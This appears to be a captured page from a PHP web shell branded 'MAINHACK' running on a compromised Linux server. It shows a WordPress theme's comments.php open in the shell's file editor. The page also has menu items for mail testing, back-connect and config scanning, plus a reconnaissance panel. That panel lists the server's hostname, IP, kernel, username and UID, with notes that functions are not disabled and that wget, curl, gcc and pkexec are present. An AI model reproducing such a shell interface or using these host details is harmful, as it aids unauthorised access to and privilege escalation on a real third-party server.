[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: comments.php
<?php /** * The template for displaying comments. * This is the template that displays the area of the page that contains both the current comments * and the comment form. * * @package Alico */ /* * If the current post is protected by a password and * the visitor has not yet entered the password we will * return early without loading the comments. */ if ( post_password_required() ) { return; } ?> <div id="comments" class="comments-area"> <?php // You can start editing here -- including this comment! if ( have_comments() ) : ?> <div class="comment-list-wrap"> <h2 class="comments-title"> <?php $comment_count = get_comments_number(); if ( 1 === intval($comment_count) ) { echo esc_html__( '1 Comment', 'alico' ); } else { echo esc_attr( $comment_count ).' '.esc_html__('Comments', 'alico'); } ?> </h2><!-- .comments-title --> <?php the_comments_navigation(); ?> <ul class="comment-list"> <?php wp_list_comments( array( 'style' => 'ul', 'short_ping' => true, 'callback' => 'alico_comment_list', 'max_depth' => 3 ) ); ?> </ul><!-- .comment-list --> <?php the_comments_navigation(); ?> </div> <?php if ( ! comments_open() ) : ?> <p class="no-comments"><?php esc_html_e( 'Comments are closed.', 'alico' ); ?></p> <?php endif; endif; // Check for have_comments(). $args = array( 'id_form' => 'commentform', 'id_submit' => 'submit', 'title_reply' => esc_attr__( 'Leave A Comment', 'alico'), 'title_reply_to' => esc_attr__( 'Leave A Comment To ', 'alico') . '%s', 'cancel_reply_link' => esc_attr__( 'Cancel Comment', 'alico'), 'label_submit' => esc_attr__( 'Post Comment', 'alico'), 'comment_notes_before' => '', 'fields' => apply_filters( 'comment_form_default_fields', array( 'author' => '<div class="row"><div class="comment-form-author col-lg-4 col-md-4 col-sm-12">'. '<input id="author" name="author" type="text" value="' . esc_attr( $commenter['comment_author'] ) . '" size="30" placeholder="'.esc_attr__('Name*', 'alico').'"/></div>', 'email' => '<div class="comment-form-email col-lg-4 col-md-4 col-sm-12">'. '<input id="email" name="email" type="text" value="' . esc_attr( $commenter['comment_author_email'] ) . '" size="30" placeholder="'.esc_attr__('Email*', 'alico').'"/></div>', 'website' => '<div class="comment-form-website col-lg-4 col-md-4 col-sm-12">'. '<input id="website" name="url" type="text" value="" size="30" placeholder="'.esc_attr__('Website*', 'alico').'"/></div></div>', ) ), 'comment_field' => '<div class="comment-form-comment"><textarea id="comment" name="comment" cols="45" rows="8" placeholder="'.esc_attr__('Comment*', 'alico').'" aria-required="true">' . '</textarea></div>', ); comment_form($args); ?> </div><!-- #comments -->
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.78 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002